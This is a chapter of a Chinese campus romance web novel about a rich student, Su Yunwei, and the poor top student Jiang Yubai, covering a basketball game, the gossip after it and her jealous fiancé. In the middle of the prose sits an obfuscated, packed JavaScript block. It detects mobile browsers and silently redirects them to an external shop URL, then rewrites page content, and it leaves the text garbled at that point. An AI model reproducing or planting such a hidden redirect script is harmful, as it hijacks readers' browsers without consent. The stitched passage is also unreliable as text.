13. 第 13 章
作品:《野玫瑰与忠犬》 【今天晚上篮球赛去不去?】
【去呗,反正今天没什么事。篮球场正好在东区食堂那儿,早听说那边有家麻辣烫特别好吃了,就当吃完饭去消消食了呗。】
【云微姐,你是不是也要过去?】她们都心知肚明,今天晚上是计算机院对土木院,江逾白被院学生会主席预备役陈浩然软磨硬泡了许久才答应上场,苏云微今天肯定会赶过去捧场的。
【bingo!答对了有奖励,我在Z中央百货的ysl专柜买粉底液,想要什么,一分钟内速报。】
【云微姐,你太客气了······】
【还剩30秒,不报我就随便买了,到时候不喜欢别赖我。】
【我要那个星你色!云微姐大气!】
去年星你火遍大江南北,女主角同款口红正是一支难求的时候,但苏云微是柜姐手上的老顾客了,硬是把好不容易到的货全给她留着了。
【我也是!我誓死效忠云微姐!】
【对了,早上听说有人想吃ladyM的千层,我把剩下来口味都买了,晚上记得提前帮我去篮球场占座。】
【小的收到!】
“云微姐,这里!”苏云微提着礼物盒走到篮球场时,三个舍友沈雨柔、楚芝遐、田乐妍已经抢到了第一排中间的黄金座位,正在如汽车雨刷般整整齐齐地向她挥手,唐悦瑶宿舍的也坐在后面和她招手问好。
苏云微把蛋糕递过去:“办得不错,赏!”
沈雨柔立刻装作太监接圣旨的样子低头抬手,恭恭敬敬地接过蛋糕盒:“老大满意就好。”
趁着开场还有一会儿,两个宿舍其他的女生凑在一起分享着蛋糕,苏云微则坐在旁边等待着江逾白的出场。
她本来在开学前想拖关系和唐悦瑶分到一个宿舍的,但是考虑到她几乎不住校,硬把唐悦瑶和自己分到一起,那自己不在的时候,她岂不是连个伴都没有,得一个人打水、吃饭、拿快递了?
想了想还是于心不忍,就随学校的安排了。
因为苏云微经常请两个宿舍的一起吃饭,本身播音主持和导演系又都是一个院系的,有些公共课会重合到大阶梯教室上,所以两个宿舍的女生关系走得很近。
出了沈嘉礼和孟星苒的事,苏云微已经不再和高中时那些她和沈嘉礼的共友来往了。
沈嘉礼在背后偷偷和孟星苒往来的事情,她不知道那些人是完全不知情,还是明明知道,但是因为更加偏心沈嘉礼,所以选择帮他一起瞒着她。
她分辨不清,而且那些人里也没有让她感觉特别亲近的,索性就在毕业后慢慢疏远了。现在大学新认识的这些同学是她身边比较能说得上话的了。
但也只限于比点头之交更亲近一些的同学,自从被孟星苒和沈嘉礼狠狠被背刺后,她实在很难再像以前一样毫无保留地打开心扉。
过去她面对空荡荡的房间,十分渴望一个人能坚定地陪伴着自己,温柔地呵护着自己,就如同一朵玫瑰渴望阳光和雨露一般。
但是人往往就是越渴望什么,期待就越容易落空,况且她已经拥有了世俗定义中最为珍贵的金钱与美貌,世事势必难两全,人生总是要留有一些遗憾的。
人不能得到了钱,又渴望爱。
“快吃快吃,马上要开始了。”沈雨柔催促着,她们迅速瓜分了蛋糕,唐悦瑶带着另外一个舍友去收拾好的垃圾扔到附近大垃圾桶里。
“我爸妈问我在干什么,我拍张照给他们发过去。”田乐妍嘟囔着。
苏云微知道她们三个和父母的关系都非常亲近,之前请她们吃饭时,她们都会拍照发到家庭群里,看到什么好玩的、有趣的,也会和父母一起分享。
原本读艺术的学生基本上都来自有钱又有爱的家庭,父母的经济支持和父母的思想包容,基本上是缺一不可的。
“云微姐,你不发吗?”田乐妍一开始还很诧异地问她,云微姐似乎从来不和家里人打电话,也不和家里人通视频。
“哎呀,这些云微姐都见怪不怪了好吧。”沈雨柔吐着舌头吐槽田乐妍的大惊小怪。
其实是我和我爸爸根本没有熟悉到这种程度,苏云微不动神色地喝着热茶,心里默默回应道。
这些日常琐事里的喜怒哀乐,她根本无人可以分享。
运动场门口传来嘈杂的响动,“看来江大校草的名声在外啊,我估计这场上一半得是冲着他来的。”
“神了,这你都能知道。”
“废话,你自己左右看看,今天场上来了多少女生,计算机和土木这种大名鼎鼎的和尚庙什么时候有什么多女生了?”
“对哦,说的也是。”
两大实力强劲的院系比分死死地咬着对方不放,原本冲着江逾白来的人群也被比赛热烈焦灼的气氛吸引过去,心跟着运动场上飞跃的球一起七上八下地跳动了起来。
“中场休息了,计算机目前领先两分。云微姐,你要不要去给江逾白送水?”
“嗯,正有此意,不过不是我去送。”苏云微看着江逾白,向他勾了勾手指。
江逾白知道如果自己此刻不乖乖走过去,她必定会做出更多强硬逼他过去的事情来,还不如她一招手就立刻顺从。
经过了这一个月和她的接触,他已然成为了巴浦洛夫的狗,只要她一勾勾手,他立马会条件反射地听从她的指挥。
江逾白走到苏云微面前,在她满意的微笑中接过了她的水。
他仰起头灌水的瞬间,汗珠顺着他的下颌线滑落,流过他上下滚动的喉结,苏云微看到他有些凌乱的发丝被汗水粘在脑门上,他运动后没有任何难闻的汗臭味,她只闻到他身上清苦的洗衣粉味。
她对气味很敏感,任何浓重的气味都会刺激到她的头痛,而江逾白永远不会,或许是因为他比许多男生更爱整洁和卫生,他的身上总是干净清爽的。
刺耳的哨声响起,下半场比赛正式拉开帷幕。
“云微姐,小心——”突然,场上的篮球像一颗不受控制的流星,冲着苏云微的方向破空而来。
在观众倒吸一口凉气的紧张氛围中,江逾白如同赛场上的一阵飓风,刮过半个场地,飞一般向她狂奔而来,在球即将触碰到她鼻尖的那一瞬间,被他一掌勾了回去,向着反方向光速逃离。
原本热闹喧腾的球场瞬间跌入冰冻的死寂中,三秒后,人群再次爆发出狂热的欢呼。
在这样人声鼎沸的时刻,在此时纷繁沸腾的场景中,他们只是静静地、沉默地凝视着彼此。
他知道,他不该,只是那一秒,他的心跳战胜了他的理智,他来不及思考,身体已经为他做出了最顺从本心的举动。
他们一句话都没说,但是旁观的人已然从这说不清道不明的氛围里,明了了太多。
“之前就听说苏云微在追江逾白,没想到难搞如江大校草,也不过就这么快被拿下来了。”
“他们在一起了?”
“没有,不过估计也快了。你没看到昨天在球场上的情景吗,那么激烈的比赛里,江逾白能迅速拨开人群、跨越半个球场飞到她身边,这不是爱是什么?”
“奇怪了,我怎么听说苏云微好像有未婚夫啊,甚至也是计算机系的。”
“有钱人不都这样吗?年轻的时候多玩几个,到年纪了还是会回去联姻的。”
“我还以为只有有钱男人会这样呢。”
“你看你这话说的,有钱男人能找漂亮小姑娘,有钱女人玩一玩帅小伙,不也正常吗?况且二代里有几个像苏云微那么漂亮的?要我说,能让她玩几个月,都是江逾白的福气了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342150|199394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“没想到清高如江逾白竟然也会为金钱妥协,说真的,他除了家庭条件差了点以外,其他也算是满配设置了,再过几年也不愁没钱吧,怎么这么按捺不住?”
“有捷径,谁还乐意苦熬?”
“我原本以为江逾白是个好人,上次我去拿快递,一次性取了太多,没拿稳,散了一地,他路过还帮我收拾了一下。对那些追他的女生也是,拒绝得干干脆脆,完全不留一丝转圜余地的。没想到也不过是有钱美女勾勾手,他就贴上去了,心甘情愿做男小三,一点骨气都没有。”
“你没看到苏云微那架势,大有横抢硬夺的意思,现在整个学校都是她追人的助攻,有谁能反抗得了她?”
“她也太霸道不讲理了,好像自从篮球赛以后,江逾白的名声一下子就变得好难听了,都说他是公主养的面首、软饭男、小白脸,gigolo什么的······”
江逾白站在水房门口,一动不动地听着里面两个女生的窃窃私语。篮球赛上他那一个飞扑,已经在全校面前坐实了他与苏云微之间确有其事。
只是之前因为看上去都是苏云微单方面的强取豪夺,而且江逾白一直待人有礼有节,为人温和谦逊。
江大普遍学生对学霸都有着一层天然滤镜,何况江逾白这样家境贫苦,硬是凭借着刻苦努力和自律上进考进这顶级学府,并且在这千军万马过独木桥的胜利者中也是当之无愧的佼佼者,学生中对他都只有赞美和钦佩。
他人品好、成绩好、性格好、体育好、长相好,所以大家对他一直是赞不绝口地,在这件事上之前对他的看法都是同情居多。
而经过了那个晚上,在场的人也纷纷反应过来,江逾白看上去似乎的确是有攀龙附凤的心思和企图,对他那点同情和天然的好感也变成了那些攻击他的风言风语。
“沈哥,看,这是昨天晚上计算机系篮球赛的视频。云微姐怎么这样?”
沈嘉礼的跟班讨好地把手机献到沈嘉礼面前,手机上正在播放着昨天江逾白飞身拦球画面。
最后画面中的两人虽对视无言,但只要长了眼睛的人必然能够看得出其中两人间的暗潮汹涌。
“靠,这男的到底想干嘛?不会真的想要尚公主吧?”
“你胡说八道什么东西?”坐在沈嘉礼左手边的跟班立刻慌张地打量着他的神情,“真驸马爷在这呢。”
吓得那人后知后觉自己说错了话,恨不得当即狠狠抽上自己十几个耳光,好让沈嘉礼消气。
沈嘉礼听到那话后,果然脸色阴沉下来,伸手将嘴里抽了几口、依旧滚烫的半截雪茄狠狠地怼在那个刚刚说“尚公主”的男生手掌上灭掉火星,全然不顾那人疼到龇牙咧嘴的狰狞面容。
“尚公主?穷小子也不看自己几斤几两,他啊,撑死了算公主的面首吧。”沈嘉礼接过递来的威士忌,一饮而尽。
“对啊,云微姐估计就是一时兴起,他蹦跶不了几天的。”
沈嘉礼虽然对苏云微轰轰烈烈追求江逾白,弄得江大无人不知、无人不晓而感到怒火中烧,但是他也只能硬生生将这口恶气吞了下去,如同咽下带着玻璃渣的酒。
左右是他做错事在先,云微这样报复回来一次,他就当她再使小孩子脾气了。但是她弄出这么大的动静,全然不顾他的脸面,他心里到底是有些恨的。
他只能在心里不停地劝诫自己,如此一来,他们也算是扯平了。
只是可怜了江逾白,被这样不明不白地当枪使了。
沈嘉礼很自信江逾白不过是云微用来气自己的手段,毕竟他的出身实在太差,是永远也不可能真的挤进他们这个圈子的。
他只需要等,等云微对他的这三分钟热度过去,等云微把自己心里积压的恶气出了,江逾白也就自动出局了。

